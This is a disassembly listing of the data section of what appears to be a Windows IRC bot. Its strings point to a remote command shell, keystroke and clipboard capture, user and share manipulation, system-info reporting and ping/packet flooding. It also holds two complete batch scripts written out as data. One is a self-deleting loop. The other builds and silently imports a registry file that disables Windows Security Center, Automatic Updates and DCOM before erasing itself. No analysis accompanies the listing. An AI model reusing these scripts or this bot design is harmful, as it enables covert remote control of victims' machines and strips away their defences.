aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_405560+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_405560:loc_405FF5o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_405560+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_405560+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_405560:loc_405FABo
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_405560+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_405560+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_405560+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_405560+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_405560+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_405560+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_405560+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_405560+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_405560+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_405560+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_405560+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_405560:loc_405EA0o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_405560+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_405560+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_405560+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_405560:loc_405E41o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_405560+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_405560+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_405560+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_405560+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_405560+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_405560+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_405560+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_405560+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_405560+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_405560+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_405560+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_405560:loc_405D21o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_405560+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_405560+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_405560+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_405560+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_405560+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_405560+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_405560+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_405560+62Do
					; seg002:004228E0o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_405560+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_405560+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_405560+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_405560+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_405560+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_405560+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_405560+5D2o
					; seg000:0040A971o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_405560+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_405560+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_405560+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_405560+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_405560+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_405560+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_405560+577o
					; seg002:00422CF0o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_405560+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_405560+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_405560+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_405560+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_405560+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_405560+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_405560+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_405560+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_405560+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_405560+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_405560+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_405560+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_405560+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_405560+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_405560+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_405560+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_405560+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_405560+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_405560+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_405560:loc_40596Fo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_405560:loc_405947o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_405560+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_405560+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_405560+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_405560+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_405560+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_405560+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_405560+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_405560:loc_405899o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_405560+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_405560+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_405560:loc_405854o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_405560+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_405560+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_405560+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_405560+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_405560+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_405560+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_405560:loc_4057BFo
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_405560+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_405560+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_405560+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_405560:loc_405758o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_405560+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_405560+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_405560+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_405560+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_405560+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_405560+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_405560+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_405560+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_405560:loc_405695o
					; sub_419541+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_405560:loc_405668o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_405560+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_405560+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_405560+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_405560+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_405560+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_405560+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_405560+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_405560+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_405560+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_405560+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_405560+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_405560+Ao
		align 4
dword_4201BC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_4061ED+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_4061ED+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_406776+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_40683B+5o
					; sub_40F5F6+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4068BD+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_406961+2o
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0
		align 4
aCAb3_bat	db 'c:\ab3.bat',0       ; DATA XREF: sub_406B0B+29o
		align 10h
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406B0B+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
		db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
		db 'DEL %temp%\1.reg',0Dh,0Ah
		db 'DEL %0',0Dh,0Ah,0
		align 4
unk_421B18	db    2			; DATA XREF: sub_406C01:loc_406CC0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_421B5C	db    2			; DATA XREF: sub_406C01:loc_406C8Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 10h
unk_421BA0	db    2			; DATA XREF: sub_406C01:loc_406C5Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_421BD8	db    2			; DATA XREF: sub_406C01+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_421C1C	db    2			; DATA XREF: seg000:00406EC1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_421C5C	db    2			; DATA XREF: seg000:00406DF3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 4
dword_421C98	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:004070D7o
		dd 2029206Ch, 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_421CD8	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: seg000:00406F9Fo
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40718F+33o
dword_421D24	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_407348o
		dd 2029206Ch, 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_421D68	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:00407325o
		dd 2029206Ch, 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_421DA4	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:loc_4072FCo
		dd 2029206Ch, 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_421DE8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:004074FFo
		dd 2029206Ch, 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_421E30	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: seg000:004074B7o
		dd 2029206Ch, 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: seg000:0040738Co
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_407520+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40763F:loc_4077A3o
		align 4
word_421F74	dw 3Fh			; DATA XREF: sub_40763F:loc_407741r
					; sub_408385+1Fo
		align 4
